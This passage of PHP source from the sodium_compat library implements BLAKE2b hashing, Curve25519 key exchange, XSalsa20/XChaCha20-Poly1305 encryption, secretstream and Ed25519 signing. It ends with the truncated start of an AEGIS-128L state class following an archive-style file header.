        ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor();

        $k = null;
        if (!empty($key)) {
            /** @var SplFixedArray $k */
            $k = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($key);
            if ($k->count() > ParagonIE_Sodium_Core_BLAKE2b::KEYBYTES) {
                throw new RangeException('Invalid key size');
            }
        }

        /** @var SplFixedArray $in */
        $in = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($message);

        /** @var SplFixedArray $ctx */
        $ctx = ParagonIE_Sodium_Core_BLAKE2b::init($k, $outlen);
        ParagonIE_Sodium_Core_BLAKE2b::update($ctx, $in, $in->count());

        /** @var SplFixedArray $out */
        $out = new SplFixedArray($outlen);
        $out = ParagonIE_Sodium_Core_BLAKE2b::finish($ctx, $out);

        /** @var array<int, int> */
        $outArray = $out->toArray();
        return ParagonIE_Sodium_Core_Util::intArrayToString($outArray);
    }

    /**
     * Finalize a BLAKE2b hashing context, returning the hash.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ctx
     * @param int $outlen
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_final($ctx, $outlen = 32)
    {
        if (!is_string($ctx)) {
            throw new TypeError('Context must be a string');
        }
        $out = new SplFixedArray($outlen);

        /** @var SplFixedArray $context */
        $context = ParagonIE_Sodium_Core_BLAKE2b::stringToContext($ctx);

        /** @var SplFixedArray $out */
        $out = ParagonIE_Sodium_Core_BLAKE2b::finish($context, $out);

        /** @var array<int, int> */
        $outArray = $out->toArray();
        return ParagonIE_Sodium_Core_Util::intArrayToString($outArray);
    }

    /**
     * Initialize a hashing context for BLAKE2b.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $key
     * @param int $outputLength
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_init($key = '', $outputLength = 32)
    {
        // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized
        ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor();

        $k = null;
        if (!empty($key)) {
            $k = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($key);
            if ($k->count() > ParagonIE_Sodium_Core_BLAKE2b::KEYBYTES) {
                throw new RangeException('Invalid key size');
            }
        }

        /** @var SplFixedArray $ctx */
        $ctx = ParagonIE_Sodium_Core_BLAKE2b::init($k, $outputLength);

        return ParagonIE_Sodium_Core_BLAKE2b::contextToString($ctx);
    }

    /**
     * Initialize a hashing context for BLAKE2b.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $key
     * @param int $outputLength
     * @param string $salt
     * @param string $personal
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_init_salt_personal(
        $key = '',
        $outputLength = 32,
        $salt = '',
        $personal = ''
    ) {
        // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized
        ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor();

        $k = null;
        if (!empty($key)) {
            $k = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($key);
            if ($k->count() > ParagonIE_Sodium_Core_BLAKE2b::KEYBYTES) {
                throw new RangeException('Invalid key size');
            }
        }
        if (!empty($salt)) {
            $s = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($salt);
        } else {
            $s = null;
        }
        if (!empty($salt)) {
            $p = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($personal);
        } else {
            $p = null;
        }

        /** @var SplFixedArray $ctx */
        $ctx = ParagonIE_Sodium_Core_BLAKE2b::init($k, $outputLength, $s, $p);

        return ParagonIE_Sodium_Core_BLAKE2b::contextToString($ctx);
    }

    /**
     * Update a hashing context for BLAKE2b with $message
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ctx
     * @param string $message
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_update($ctx, $message)
    {
        // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized
        ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor();

        /** @var SplFixedArray $context */
        $context = ParagonIE_Sodium_Core_BLAKE2b::stringToContext($ctx);

        /** @var SplFixedArray $in */
        $in = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($message);

        ParagonIE_Sodium_Core_BLAKE2b::update($context, $in, $in->count());

        return ParagonIE_Sodium_Core_BLAKE2b::contextToString($context);
    }

    /**
     * Libsodium's crypto_kx().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $my_sk
     * @param string $their_pk
     * @param string $client_pk
     * @param string $server_pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function keyExchange($my_sk, $their_pk, $client_pk, $server_pk)
    {
        return ParagonIE_Sodium_Compat::crypto_generichash(
            ParagonIE_Sodium_Compat::crypto_scalarmult($my_sk, $their_pk) .
            $client_pk .
            $server_pk
        );
    }

    /**
     * ECDH over Curve25519
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sKey
     * @param string $pKey
     * @return string
     *
     * @throws SodiumException
     * @throws TypeError
     */
    public static function scalarmult($sKey, $pKey)
    {
        $q = ParagonIE_Sodium_Core_X25519::crypto_scalarmult_curve25519_ref10($sKey, $pKey);
        self::scalarmult_throw_if_zero($q);
        return $q;
    }

    /**
     * ECDH over Curve25519, using the basepoint.
     * Used to get a secret key from a public key.
     *
     * @param string $secret
     * @return string
     *
     * @throws SodiumException
     * @throws TypeError
     */
    public static function scalarmult_base($secret)
    {
        $q = ParagonIE_Sodium_Core_X25519::crypto_scalarmult_curve25519_ref10_base($secret);
        self::scalarmult_throw_if_zero($q);
        return $q;
    }

    /**
     * This throws an Error if a zero public key was passed to the function.
     *
     * @param string $q
     * @return void
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function scalarmult_throw_if_zero($q)
    {
        $d = 0;
        for ($i = 0; $i < self::box_curve25519xsalsa20poly1305_SECRETKEYBYTES; ++$i) {
            $d |= ParagonIE_Sodium_Core_Util::chrToInt($q[$i]);
        }

        /* branch-free variant of === 0 */
        if (-(1 & (($d - 1) >> 8))) {
            throw new SodiumException('Zero public key is not allowed');
        }
    }

    /**
     * XSalsa20-Poly1305 authenticated symmetric-key encryption.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $plaintext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox($plaintext, $nonce, $key)
    {
        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $block0 */
        $block0 = str_repeat("\x00", 32);

        /** @var int $mlen - Length of the plaintext message */
        $mlen = ParagonIE_Sodium_Core_Util::strlen($plaintext);
        $mlen0 = $mlen;
        if ($mlen0 > 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES) {
            $mlen0 = 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES;
        }
        $block0 .= ParagonIE_Sodium_Core_Util::substr($plaintext, 0, $mlen0);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20_xor(
            $block0,
            ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
            $subkey
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core_Util::substr(
            $block0,
            self::secretbox_xsalsa20poly1305_ZEROBYTES
        );
        if ($mlen > $mlen0) {
            $c .= ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic(
                ParagonIE_Sodium_Core_Util::substr(
                    $plaintext,
                    self::secretbox_xsalsa20poly1305_ZEROBYTES
                ),
                ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
                1,
                $subkey
            );
        }
        $state = new ParagonIE_Sodium_Core_Poly1305_State(
            ParagonIE_Sodium_Core_Util::substr(
                $block0,
                0,
                self::onetimeauth_poly1305_KEYBYTES
            )
        );
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
            ParagonIE_Sodium_Compat::memzero($subkey);
        } catch (SodiumException $ex) {
            $block0 = null;
            $subkey = null;
        }

        $state->update($c);

        /** @var string $c - MAC || ciphertext */
        $c = $state->finish() . $c;
        unset($state);

        return $c;
    }

    /**
     * Decrypt a ciphertext generated via secretbox().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ciphertext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox_open($ciphertext, $nonce, $key)
    {
        /** @var string $mac */
        $mac = ParagonIE_Sodium_Core_Util::substr(
            $ciphertext,
            0,
            self::secretbox_xsalsa20poly1305_MACBYTES
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core_Util::substr(
            $ciphertext,
            self::secretbox_xsalsa20poly1305_MACBYTES
        );

        /** @var int $clen */
        $clen = ParagonIE_Sodium_Core_Util::strlen($c);

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20(
            64,
            ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
            $subkey
        );
        $verified = ParagonIE_Sodium_Core_Poly1305::onetimeauth_verify(
            $mac,
            $c,
            ParagonIE_Sodium_Core_Util::substr($block0, 0, 32)
        );
        if (!$verified) {
            try {
                ParagonIE_Sodium_Compat::memzero($subkey);
            } catch (SodiumException $ex) {
                $subkey = null;
            }
            throw new SodiumException('Invalid MAC');
        }

        /** @var string $m - Decrypted message */
        $m = ParagonIE_Sodium_Core_Util::xorStrings(
            ParagonIE_Sodium_Core_Util::substr($block0, self::secretbox_xsalsa20poly1305_ZEROBYTES),
            ParagonIE_Sodium_Core_Util::substr($c, 0, self::secretbox_xsalsa20poly1305_ZEROBYTES)
        );
        if ($clen > self::secretbox_xsalsa20poly1305_ZEROBYTES) {
            // We had more than 1 block, so let's continue to decrypt the rest.
            $m .= ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic(
                ParagonIE_Sodium_Core_Util::substr(
                    $c,
                    self::secretbox_xsalsa20poly1305_ZEROBYTES
                ),
                ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
                1,
                (string) $subkey
            );
        }
        return $m;
    }

    /**
     * XChaCha20-Poly1305 authenticated symmetric-key encryption.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $plaintext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox_xchacha20poly1305($plaintext, $nonce, $key)
    {
        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16),
            $key
        );
        $nonceLast = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = str_repeat("\x00", 32);

        /** @var int $mlen - Length of the plaintext message */
        $mlen = ParagonIE_Sodium_Core_Util::strlen($plaintext);
        $mlen0 = $mlen;
        if ($mlen0 > 64 - self::secretbox_xchacha20poly1305_ZEROBYTES) {
            $mlen0 = 64 - self::secretbox_xchacha20poly1305_ZEROBYTES;
        }
        $block0 .= ParagonIE_Sodium_Core_Util::substr($plaintext, 0, $mlen0);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core_ChaCha20::streamXorIc(
            $block0,
            $nonceLast,
            $subkey
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core_Util::substr(
            $block0,
            self::secretbox_xchacha20poly1305_ZEROBYTES
        );
        if ($mlen > $mlen0) {
            $c .= ParagonIE_Sodium_Core_ChaCha20::streamXorIc(
                ParagonIE_Sodium_Core_Util::substr(
                    $plaintext,
                    self::secretbox_xchacha20poly1305_ZEROBYTES
                ),
                $nonceLast,
                $subkey,
                ParagonIE_Sodium_Core_Util::store64_le(1)
            );
        }
        $state = new ParagonIE_Sodium_Core_Poly1305_State(
            ParagonIE_Sodium_Core_Util::substr(
                $block0,
                0,
                self::onetimeauth_poly1305_KEYBYTES
            )
        );
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
            ParagonIE_Sodium_Compat::memzero($subkey);
        } catch (SodiumException $ex) {
            $block0 = null;
            $subkey = null;
        }

        $state->update($c);

        /** @var string $c - MAC || ciphertext */
        $c = $state->finish() . $c;
        unset($state);

        return $c;
    }

    /**
     * Decrypt a ciphertext generated via secretbox_xchacha20poly1305().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ciphertext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key)
    {
        /** @var string $mac */
        $mac = ParagonIE_Sodium_Core_Util::substr(
            $ciphertext,
            0,
            self::secretbox_xchacha20poly1305_MACBYTES
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core_Util::substr(
            $ciphertext,
            self::secretbox_xchacha20poly1305_MACBYTES
        );

        /** @var int $clen */
        $clen = ParagonIE_Sodium_Core_Util::strlen($c);

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core_HChaCha20::hchacha20(
            ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16),
            $key
        );

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core_ChaCha20::stream(
            64,
            ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
            $subkey
        );
        $verified = ParagonIE_Sodium_Core_Poly1305::onetimeauth_verify(
            $mac,
            $c,
            ParagonIE_Sodium_Core_Util::substr($block0, 0, 32)
        );

        if (!$verified) {
            try {
                ParagonIE_Sodium_Compat::memzero($subkey);
            } catch (SodiumException $ex) {
                $subkey = null;
            }
            throw new SodiumException('Invalid MAC');
        }

        /** @var string $m - Decrypted message */
        $m = ParagonIE_Sodium_Core_Util::xorStrings(
            ParagonIE_Sodium_Core_Util::substr($block0, self::secretbox_xchacha20poly1305_ZEROBYTES),
            ParagonIE_Sodium_Core_Util::substr($c, 0, self::secretbox_xchacha20poly1305_ZEROBYTES)
        );

        if ($clen > self::secretbox_xchacha20poly1305_ZEROBYTES) {
            // We had more than 1 block, so let's continue to decrypt the rest.
            $m .= ParagonIE_Sodium_Core_ChaCha20::streamXorIc(
                ParagonIE_Sodium_Core_Util::substr(
                    $c,
                    self::secretbox_xchacha20poly1305_ZEROBYTES
                ),
                ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
                (string) $subkey,
                ParagonIE_Sodium_Core_Util::store64_le(1)
            );
        }
        return $m;
    }

    /**
     * @param string $key
     * @return array<int, string> Returns a state and a header.
     * @throws Exception
     * @throws SodiumException
     */
    public static function secretstream_xchacha20poly1305_init_push($key)
    {
        # randombytes_buf(out, crypto_secretstream_xchacha20poly1305_HEADERBYTES);
        $out = random_bytes(24);

        # crypto_core_hchacha20(state->k, out, k, NULL);
        $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core_Util::substr($out, 0, 16),
            $key
        );
        $state = new ParagonIE_Sodium_Core_SecretStream_State(
            $subkey,
            ParagonIE_Sodium_Core_Util::substr($out, 16, 8) . str_repeat("\0", 4)
        );

        # _crypto_secretstream_xchacha20poly1305_counter_reset(state);
        $state->counterReset();

        # memcpy(STATE_INONCE(state), out + crypto_core_hchacha20_INPUTBYTES,
        #        crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        # memset(state->_pad, 0, sizeof state->_pad);
        return array(
            $state->toString(),
            $out
        );
    }

    /**
     * @param string $key
     * @param string $header
     * @return string Returns a state.
     * @throws Exception
     */
    public static function secretstream_xchacha20poly1305_init_pull($key, $header)
    {
        # crypto_core_hchacha20(state->k, in, k, NULL);
        $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core_Util::substr($header, 0, 16),
            $key
        );
        $state = new ParagonIE_Sodium_Core_SecretStream_State(
            $subkey,
            ParagonIE_Sodium_Core_Util::substr($header, 16)
        );
        $state->counterReset();
        # memcpy(STATE_INONCE(state), in + crypto_core_hchacha20_INPUTBYTES,
        #     crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        # memset(state->_pad, 0, sizeof state->_pad);
        # return 0;
        return $state->toString();
    }

    /**
     * @param string $state
     * @param string $msg
     * @param string $aad
     * @param int $tag
     * @return string
     * @throws SodiumException
     */
    public static function secretstream_xchacha20poly1305_push(&$state, $msg, $aad = '', $tag = 0)
    {
        $st = ParagonIE_Sodium_Core_SecretStream_State::fromString($state);
        # crypto_onetimeauth_poly1305_state poly1305_state;
        # unsigned char                     block[64U];
        # unsigned char                     slen[8U];
        # unsigned char                    *c;
        # unsigned char                    *mac;

        $msglen = ParagonIE_Sodium_Core_Util::strlen($msg);
        $aadlen = ParagonIE_Sodium_Core_Util::strlen($aad);

        if ((($msglen + 63) >> 6) > 0xfffffffe) {
            throw new SodiumException(
                'message cannot be larger than SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes'
            );
        }

        # if (outlen_p != NULL) {
        #     *outlen_p = 0U;
        # }
        # if (mlen > crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) {
        #     sodium_misuse();
        # }

        # crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k);
        # crypto_onetimeauth_poly1305_init(&poly1305_state, block);
        # sodium_memzero(block, sizeof block);
        $auth = new ParagonIE_Sodium_Core_Poly1305_State(
            ParagonIE_Sodium_Core_ChaCha20::ietfStream(32, $st->getCombinedNonce(), $st->getKey())
        );

        # crypto_onetimeauth_poly1305_update(&poly1305_state, ad, adlen);
        $auth->update($aad);

        # crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0,
        #     (0x10 - adlen) & 0xf);
        $auth->update(str_repeat("\0", ((0x10 - $aadlen) & 0xf)));

        # memset(block, 0, sizeof block);
        # block[0] = tag;
        # crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block,
        #                                    state->nonce, 1U, state->k);
        $block = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            ParagonIE_Sodium_Core_Util::intToChr($tag) . str_repeat("\0", 63),
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core_Util::store64_le(1)
        );

        # crypto_onetimeauth_poly1305_update(&poly1305_state, block, sizeof block);
        $auth->update($block);

        # out[0] = block[0];
        $out = $block[0];
        # c = out + (sizeof tag);
        # crypto_stream_chacha20_ietf_xor_ic(c, m, mlen, state->nonce, 2U, state->k);
        $cipher = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            $msg,
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core_Util::store64_le(2)
        );

        # crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen);
        $auth->update($cipher);

        $out .= $cipher;
        unset($cipher);

        # crypto_onetimeauth_poly1305_update
        # (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) & 0xf);
        $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen) & 0xf)));

        # STORE64_LE(slen, (uint64_t) adlen);
        $slen = ParagonIE_Sodium_Core_Util::store64_le($aadlen);

        # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen);
        $auth->update($slen);

        # STORE64_LE(slen, (sizeof block) + mlen);
        $slen = ParagonIE_Sodium_Core_Util::store64_le(64 + $msglen);

        # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen);
        $auth->update($slen);

        # mac = c + mlen;
        # crypto_onetimeauth_poly1305_final(&poly1305_state, mac);
        $mac = $auth->finish();
        $out .= $mac;

        # sodium_memzero(&poly1305_state, sizeof poly1305_state);
        unset($auth);


        # XOR_BUF(STATE_INONCE(state), mac,
        #     crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        $st->xorNonce($mac);

        # sodium_increment(STATE_COUNTER(state),
        #     crypto_secretstream_xchacha20poly1305_COUNTERBYTES);
        $st->incrementCounter();
        // Overwrite by reference:
        $state = $st->toString();

        /** @var bool $rekey */
        $rekey = ($tag & ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY) !== 0;
        # if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 ||
        #     sodium_is_zero(STATE_COUNTER(state),
        #         crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) {
        #     crypto_secretstream_xchacha20poly1305_rekey(state);
        # }
        if ($rekey || $st->needsRekey()) {
            // DO REKEY
            self::secretstream_xchacha20poly1305_rekey($state);
        }
        # if (outlen_p != NULL) {
        #     *outlen_p = crypto_secretstream_xchacha20poly1305_ABYTES + mlen;
        # }
        return $out;
    }

    /**
     * @param string $state
     * @param string $cipher
     * @param string $aad
     * @return bool|array{0: string, 1: int}
     * @throws SodiumException
     */
    public static function secretstream_xchacha20poly1305_pull(&$state, $cipher, $aad = '')
    {
        $st = ParagonIE_Sodium_Core_SecretStream_State::fromString($state);

        $cipherlen = ParagonIE_Sodium_Core_Util::strlen($cipher);
        #     mlen = inlen - crypto_secretstream_xchacha20poly1305_ABYTES;
        $msglen = $cipherlen - ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES;
        $aadlen = ParagonIE_Sodium_Core_Util::strlen($aad);

        #     if (mlen > crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) {
        #         sodium_misuse();
        #     }
        if ((($msglen + 63) >> 6) > 0xfffffffe) {
            throw new SodiumException(
                'message cannot be larger than SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes'
            );
        }

        #     crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k);
        #     crypto_onetimeauth_poly1305_init(&poly1305_state, block);
        #     sodium_memzero(block, sizeof block);
        $auth = new ParagonIE_Sodium_Core_Poly1305_State(
            ParagonIE_Sodium_Core_ChaCha20::ietfStream(32, $st->getCombinedNonce(), $st->getKey())
        );

        #     crypto_onetimeauth_poly1305_update(&poly1305_state, ad, adlen);
        $auth->update($aad);

        #     crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0,
        #         (0x10 - adlen) & 0xf);
        $auth->update(str_repeat("\0", ((0x10 - $aadlen) & 0xf)));


        #     memset(block, 0, sizeof block);
        #     block[0] = in[0];
        #     crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block,
        #                                        state->nonce, 1U, state->k);
        $block = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            $cipher[0] . str_repeat("\0", 63),
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core_Util::store64_le(1)
        );
        #     tag = block[0];
        #     block[0] = in[0];
        #     crypto_onetimeauth_poly1305_update(&poly1305_state, block, sizeof block);
        $tag = ParagonIE_Sodium_Core_Util::chrToInt($block[0]);
        $block[0] = $cipher[0];
        $auth->update($block);


        #     c = in + (sizeof tag);
        #     crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen);
        $auth->update(ParagonIE_Sodium_Core_Util::substr($cipher, 1, $msglen));

        #     crypto_onetimeauth_poly1305_update
        #     (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) & 0xf);
        $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen) & 0xf)));

        #     STORE64_LE(slen, (uint64_t) adlen);
        #     crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen);
        $slen = ParagonIE_Sodium_Core_Util::store64_le($aadlen);
        $auth->update($slen);

        #     STORE64_LE(slen, (sizeof block) + mlen);
        #     crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen);
        $slen = ParagonIE_Sodium_Core_Util::store64_le(64 + $msglen);
        $auth->update($slen);

        #     crypto_onetimeauth_poly1305_final(&poly1305_state, mac);
        #     sodium_memzero(&poly1305_state, sizeof poly1305_state);
        $mac = $auth->finish();

        #     stored_mac = c + mlen;
        #     if (sodium_memcmp(mac, stored_mac, sizeof mac) != 0) {
        #     sodium_memzero(mac, sizeof mac);
        #         return -1;
        #     }

        $stored = ParagonIE_Sodium_Core_Util::substr($cipher, $msglen + 1, 16);
        if (!ParagonIE_Sodium_Core_Util::hashEquals($mac, $stored)) {
            return false;
        }

        #     crypto_stream_chacha20_ietf_xor_ic(m, c, mlen, state->nonce, 2U, state->k);
        $out = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            ParagonIE_Sodium_Core_Util::substr($cipher, 1, $msglen),
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core_Util::store64_le(2)
        );

        #     XOR_BUF(STATE_INONCE(state), mac,
        #         crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        $st->xorNonce($mac);

        #     sodium_increment(STATE_COUNTER(state),
        #         crypto_secretstream_xchacha20poly1305_COUNTERBYTES);
        $st->incrementCounter();

        #     if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 ||
        #         sodium_is_zero(STATE_COUNTER(state),
        #             crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) {
        #         crypto_secretstream_xchacha20poly1305_rekey(state);
        #     }

        // Overwrite by reference:
        $state = $st->toString();

        /** @var bool $rekey */
        $rekey = ($tag & ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY) !== 0;
        if ($rekey || $st->needsRekey()) {
            // DO REKEY
            self::secretstream_xchacha20poly1305_rekey($state);
        }
        return array($out, $tag);
    }

    /**
     * @param string $state
     * @return void
     * @throws SodiumException
     */
    public static function secretstream_xchacha20poly1305_rekey(&$state)
    {
        $st = ParagonIE_Sodium_Core_SecretStream_State::fromString($state);
        # unsigned char new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES +
        # crypto_secretstream_xchacha20poly1305_INONCEBYTES];
        # size_t        i;
        # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) {
        #     new_key_and_inonce[i] = state->k[i];
        # }
        $new_key_and_inonce = $st->getKey();

        # for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) {
        #     new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i] =
        #         STATE_INONCE(state)[i];
        # }
        $new_key_and_inonce .= ParagonIE_Sodium_Core_Util::substR($st->getNonce(), 0, 8);

        # crypto_stream_chacha20_ietf_xor(new_key_and_inonce, new_key_and_inonce,
        #                                 sizeof new_key_and_inonce,
        #                                 state->nonce, state->k);

        $st->rekey(ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            $new_key_and_inonce,
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core_Util::store64_le(0)
        ));

        # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) {
        #     state->k[i] = new_key_and_inonce[i];
        # }
        # for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) {
        #     STATE_INONCE(state)[i] =
        #          new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i];
        # }
        # _crypto_secretstream_xchacha20poly1305_counter_reset(state);
        $st->counterReset();

        $state = $st->toString();
    }

    /**
     * Detached Ed25519 signature.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_detached($message, $sk)
    {
        return ParagonIE_Sodium_Core_Ed25519::sign_detached($message, $sk);
    }

    /**
     * Attached Ed25519 signature. (Returns a signed message.)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign($message, $sk)
    {
        return ParagonIE_Sodium_Core_Ed25519::sign($message, $sk);
    }

    /**
     * Opens a signed message. If valid, returns the message.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $signedMessage
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_open($signedMessage, $pk)
    {
        return ParagonIE_Sodium_Core_Ed25519::sign_open($signedMessage, $pk);
    }

    /**
     * Verify a detached signature of a given message and public key.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $signature
     * @param string $message
     * @param string $pk
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_verify_detached($signature, $message, $pk)
    {
        return ParagonIE_Sodium_Core_Ed25519::verify_detached($signature, $message, $pk);
    }
}
Core/AEGIS/State128L.php000064400000020052152222652550010431 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_AEGIS_State128L', false)) {
    return;
}

if (!defined('SODIUM_COMPAT_AEGIS_C0')) {
    define('SODIUM_COMPAT_AEGIS_C0', "\x00\x01\x01\x02\x03\x05\x08\x0d\x15\x22\x37\x59\x90\xe9\x79\x62");
}
if (!defined('SODIUM_COMPAT_AEGIS_C1')) {
    define('SODIUM_COMPAT_AEGIS_C1', "\xdb\x3d\x18\x55\x6d\xc2\x2f\xf1\x20\x11\x31\x42\x73\xb5\x28\xdd");
}

class ParagonIE_Sodium_Core_AEGIS_State128L
{
    /** @var array<int, string> $state */
    protected $state;
    public function __construct()
    {
        $this->state = array_fill(0, 8, '');
    }

    /**
     * @internal Only use this for unit tests!
     * @return string[]
     */
    public function getState()
    {
        return array_values($this->state);
    }

    /**
     * @param array $input
